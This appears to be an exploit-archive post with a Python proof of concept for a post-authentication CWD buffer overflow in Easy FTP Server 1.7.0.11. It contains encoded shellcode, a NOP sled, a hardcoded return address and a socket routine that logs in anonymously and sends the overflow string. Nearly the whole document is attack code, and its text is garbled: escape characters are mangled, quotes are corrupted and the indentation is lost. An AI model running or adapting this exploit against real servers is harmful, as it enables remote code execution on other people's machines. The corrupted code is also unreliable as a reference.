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Easy FTP Server v1.7.0.11 CWD Command Remote Buffer Overflow Exploit (Post Auth)
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# Exploit Title: Easy FTP Server v1.7.0.11 CWD Command Remote Buffer Overflow Exploit (Post Auth)
# Date: 2010-07-18
# Author: fdisk
# Software Link:
# Version: 1.7.0.11
# Tested on: Windows XP SP3 en
# CVE:

import socket
import sys

buffersize = 268

# windows/exec – 227 bytes x86/shikata_ga_nai EXITFUNC=process, CMD=calc.exe
shellcode = (&quot;xb8xf1×18xc7×71xd9xc7×29xc9xb1×33xd9×74x24xf4&quot;
&quot;x5bx31×43x12×83xebxfcx03xb2×16x25×84xc8xcfx20&quot;
&quot;x67×30x10×53xe1xd5×21x41×95x9ex10×55xddxf2×98&quot;
&quot;x1exb3xe6×2bx52×1cx09×9bxd9×7ax24×1cxecx42xea&quot;
&quot;xdex6ex3fxf0×32x51×7ex3bx47×90x47×21xa8xc0×10&quot;
&quot;x2ex1bxf5×15x72xa0xf4xf9xf9×98x8ex7cx3dx6cx25&quot;
&quot;x7ex6dxddx32xc8×95x55×1cxe9xa4xbax7exd5xefxb7&quot;
&quot;xb5xadxeex11×84x4exc1×5dx4bx71xeex53×95xb5xc8&quot;
&quot;x8bxe0xcdx2bx31xf3×15x56xedx76×88xf0×66x20×68&quot;
&quot;x01xaaxb7xfbx0dx07xb3xa4×11x96×10xdfx2dx13×97&quot;
&quot;x30xa4×67xbcx94xedx3cxddx8dx4bx92xe2xcex33×4b&quot;
&quot;x47×84xd1×98xf1xc7xbfx5fx73×72x86×60x8bx7dxa8&quot;
&quot;x08xbaxf6×27x4ex43xddx0cxa0×09x7cx24×29xd4×14&quot;
&quot;x75×34xe7xc2xb9×41x64xe7×41xb6×74x82×44xf2×32&quot;
&quot;x7ex34×6bxd7×80xebx8cxf2xe2×6ax1fx9excax09xa7&quot;
&quot;x05×13&quot;)

eip = &quot;x91xC8×41x7E&quot; # CALL EDI – user32.dll
nopsled = &quot;x90&quot; * 16

payload = &quot;x90&quot; * (buffersize-(len(nopsled)+len(shellcode)))

def ExploitEasyFTP(target):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((target, 21))
s.recv(1024)
s.send(‘User anonymousrn’)
s.recv(1024)
s.send(‘PASS anonymousrn’)
s.send(‘CWD ‘+nopsled+shellcode+payload+eip+’rn’)
s.recv(1024)
s.send(‘QUIT ftprn’)
s.close()

target = sys.argv[1]

ExploitEasyFTP(target)

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Source: http://inj3ct0r.com/exploits/13391